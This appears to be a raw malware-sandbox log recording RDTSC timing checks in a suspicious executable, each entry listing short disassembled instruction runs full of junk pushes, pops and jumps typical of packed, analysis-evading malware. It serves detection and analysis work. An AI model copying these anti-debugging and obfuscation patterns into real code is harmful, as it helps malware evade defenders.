Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732FCE second address: 732FF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86D05h 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732FF2 second address: 732FFC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEB853E3226h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 732FFC second address: 733006 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FEB84D86CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 733006 second address: 73300A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7331FF second address: 733221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEB84D86CFCh 0x00000009 popad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jng 00007FEB84D86CF6h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push edi 0x0000001a pop edi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344BC second address: 7344C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344C1 second address: 7344CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344CC second address: 7344ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FEB853E3228h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e push ebx 0x0000000f jmp 00007FEB853E322Bh 0x00000014 pop ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344ED second address: 7344F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344F1 second address: 7344F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 7344F5 second address: 7344FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 736119 second address: 73611E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 73611E second address: 73616C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007FEB84D86D08h 0x0000000b jns 00007FEB84D86CF6h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FEB84D86CFAh 0x0000001b push ecx 0x0000001c jmp 00007FEB84D86D07h 0x00000021 pushad 0x00000022 popad 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 735CA6 second address: 735CAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 735CAA second address: 735CBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FEB84D86CF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 735CBA second address: 735CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 735CBE second address: 735CD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEB84D86CFCh 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 737CFA second address: 737D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FEB853E3226h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 737D04 second address: 737D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64EA1D second address: 64EA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64EA21 second address: 64EA25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64EC27 second address: 64EC2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 64EC2C second address: 64EC36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FEB84D86CF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304AA second address: 4F304CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E322Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEB853E322Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304CB second address: 4F304D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304D5 second address: 4F304D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304D9 second address: 4F304EF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, 7AF6h 0x00000011 mov dx, 5082h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304EF second address: 4F304F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F304F5 second address: 4F304F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F5073E second address: 4F50743 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50743 second address: 4F5081C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, di 0x00000006 push edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FEB84D86D06h 0x00000011 xchg eax, ebp 0x00000012 jmp 00007FEB84D86D00h 0x00000017 mov ebp, esp 0x00000019 jmp 00007FEB84D86D00h 0x0000001e xchg eax, ecx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FEB84D86CFEh 0x00000026 sub al, 00000058h 0x00000029 jmp 00007FEB84D86CFBh 0x0000002e popfd 0x0000002f pushfd 0x00000030 jmp 00007FEB84D86D08h 0x00000035 or ecx, 1D8B02B8h 0x0000003b jmp 00007FEB84D86CFBh 0x00000040 popfd 0x00000041 popad 0x00000042 push eax 0x00000043 jmp 00007FEB84D86D09h 0x00000048 xchg eax, ecx 0x00000049 push eax 0x0000004a push edx 0x0000004b pushad 0x0000004c pushfd 0x0000004d jmp 00007FEB84D86D03h 0x00000052 jmp 00007FEB84D86D03h 0x00000057 popfd 0x00000058 push eax 0x00000059 push edx 0x0000005a rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F5081C second address: 4F50821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50821 second address: 4F508F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 5Eh 0x00000005 pushfd 0x00000006 jmp 00007FEB84D86CFEh 0x0000000b add ax, C1D8h 0x00000010 jmp 00007FEB84D86CFBh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a jmp 00007FEB84D86D06h 0x0000001f push eax 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FEB84D86D01h 0x00000027 jmp 00007FEB84D86CFBh 0x0000002c popfd 0x0000002d mov si, 355Fh 0x00000031 popad 0x00000032 xchg eax, esi 0x00000033 jmp 00007FEB84D86D02h 0x00000038 lea eax, dword ptr [ebp-04h] 0x0000003b jmp 00007FEB84D86D00h 0x00000040 nop 0x00000041 pushad 0x00000042 mov bl, ah 0x00000044 call 00007FEB84D86D03h 0x00000049 mov eax, 5A2ED91Fh 0x0000004e pop ecx 0x0000004f popad 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 push edi 0x00000055 pop ecx 0x00000056 pushfd 0x00000057 jmp 00007FEB84D86D03h 0x0000005c jmp 00007FEB84D86D03h 0x00000061 popfd 0x00000062 popad 0x00000063 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50992 second address: 4F50998 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F50A09 second address: 4F401E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 retn 0004h 0x00000009 nop 0x0000000a sub esp, 04h 0x0000000d xor ebx, ebx 0x0000000f cmp eax, 00000000h 0x00000012 je 00007FEB84D86E5Ah 0x00000018 mov dword ptr [esp], 0000000Dh 0x0000001f call 00007FEB89853058h 0x00000024 mov edi, edi 0x00000026 jmp 00007FEB84D86CFBh 0x0000002b xchg eax, ebp 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov edi, 3B7768F6h 0x00000034 mov ax, bx 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F401E1 second address: 4F40210 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3238h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FEB853E322Ch 0x00000012 push eax 0x00000013 pop ebx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40210 second address: 4F402C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 mov bx, 9B8Ch 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007FEB84D86CFBh 0x00000012 mov ebp, esp 0x00000014 jmp 00007FEB84D86D06h 0x00000019 sub esp, 2Ch 0x0000001c pushad 0x0000001d mov si, 106Dh 0x00000021 mov si, 4669h 0x00000025 popad 0x00000026 xchg eax, ebx 0x00000027 pushad 0x00000028 push esi 0x00000029 pushad 0x0000002a popad 0x0000002b pop edi 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f mov ax, 8C7Fh 0x00000033 popad 0x00000034 popad 0x00000035 push eax 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FEB84D86CFBh 0x0000003d adc si, B64Eh 0x00000042 jmp 00007FEB84D86D09h 0x00000047 popfd 0x00000048 pushfd 0x00000049 jmp 00007FEB84D86D00h 0x0000004e or ecx, 423BC2C8h 0x00000054 jmp 00007FEB84D86CFBh 0x00000059 popfd 0x0000005a popad 0x0000005b xchg eax, ebx 0x0000005c pushad 0x0000005d call 00007FEB84D86D04h 0x00000062 push eax 0x00000063 push edx 0x00000064 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F402C5 second address: 4F402D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 mov ecx, edi 0x00000007 popad 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F402D4 second address: 4F402D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F402D8 second address: 4F402DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F402DC second address: 4F402E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F402E2 second address: 4F402F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E3233h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40334 second address: 4F40338 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40338 second address: 4F40355 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40355 second address: 4F403DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub ebx, ebx 0x0000000b jmp 00007FEB84D86D07h 0x00000010 sub edi, edi 0x00000012 pushad 0x00000013 mov dl, 21h 0x00000015 call 00007FEB84D86CFEh 0x0000001a pushad 0x0000001b popad 0x0000001c pop esi 0x0000001d popad 0x0000001e inc ebx 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007FEB84D86CFDh 0x00000026 add esi, 04E1CC26h 0x0000002c jmp 00007FEB84D86D01h 0x00000031 popfd 0x00000032 mov ch, 81h 0x00000034 popad 0x00000035 test al, al 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FEB84D86D06h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F404A9 second address: 4F404C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E3234h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40507 second address: 4F4050D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F4050D second address: 4F40550 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E322Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FEB853E3230h 0x00000010 jg 00007FEBF70D1181h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FEB853E3237h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40550 second address: 4F405B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86D09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FEB84D86D8Dh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FEB84D86CFCh 0x00000016 xor cx, 3318h 0x0000001b jmp 00007FEB84D86CFBh 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 cmp dword ptr [ebp-14h], edi 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a movzx ecx, dx 0x0000002d jmp 00007FEB84D86D05h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F405B4 second address: 4F405EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3231h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FEBF70D10F8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FEB853E3238h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F405EB second address: 4F405F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F405F1 second address: 4F40602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E322Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40602 second address: 4F40662 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebx, dword ptr [ebp+08h] 0x0000000b pushad 0x0000000c call 00007FEB84D86D03h 0x00000011 mov ch, E2h 0x00000013 pop edi 0x00000014 push esi 0x00000015 mov ebx, 32FECC74h 0x0000001a pop ebx 0x0000001b popad 0x0000001c lea eax, dword ptr [ebp-2Ch] 0x0000001f jmp 00007FEB84D86D08h 0x00000024 xchg eax, esi 0x00000025 jmp 00007FEB84D86D00h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushad 0x0000002f popad 0x00000030 movzx esi, bx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40662 second address: 4F406A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3234h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b mov dx, ax 0x0000000e mov ebx, esi 0x00000010 popad 0x00000011 nop 0x00000012 jmp 00007FEB853E3234h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FEB853E322Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F406A9 second address: 4F406AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F406AD second address: 4F406B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F406B3 second address: 4F406CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F406CA second address: 4F406D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F4001C second address: 4F400E9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FEB84D86D07h 0x00000008 sub ax, 1DAEh 0x0000000d jmp 00007FEB84D86D09h 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FEB84D86D00h 0x0000001b or si, 9F28h 0x00000020 jmp 00007FEB84D86CFBh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007FEB84D86D09h 0x0000002d xchg eax, ebp 0x0000002e jmp 00007FEB84D86CFEh 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FEB84D86CFEh 0x0000003c add eax, 53B7B3E8h 0x00000042 jmp 00007FEB84D86CFBh 0x00000047 popfd 0x00000048 mov ah, 1Fh 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f movsx edx, cx 0x00000052 call 00007FEB84D86D06h 0x00000057 pop ecx 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F400E9 second address: 4F400EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F400EF second address: 4F4011D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ecx 0x0000000b jmp 00007FEB84D86D06h 0x00000010 mov dword ptr [ebp-04h], 55534552h 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F4011D second address: 4F4013A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F401B4 second address: 4F401BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F401BA second address: 4F401BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40C46 second address: 4F40C4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40C4C second address: 4F40C50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40C50 second address: 4F40C9D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 jmp 00007FEB84D86D06h 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FEB84D86D00h 0x00000016 mov ebp, esp 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FEB84D86D07h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40C9D second address: 4F40CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEB853E3234h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40CB5 second address: 4F40CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [76C8459Ch], 05h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEB84D86CFAh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40CD0 second address: 4F40CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40CD6 second address: 4F40D06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB84D86CFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FEBF6A64A0Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 mov di, 773Eh 0x00000018 jmp 00007FEB84D86CFFh 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40D06 second address: 4F40D29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEB853E3239h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov bh, cl 0x0000000f rdtsc
Source: C:\Users\user\Desktop\pVbAZEFIpI.exe	RDTSC instruction interceptor: First address: 4F40D91 second address: 4F40D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
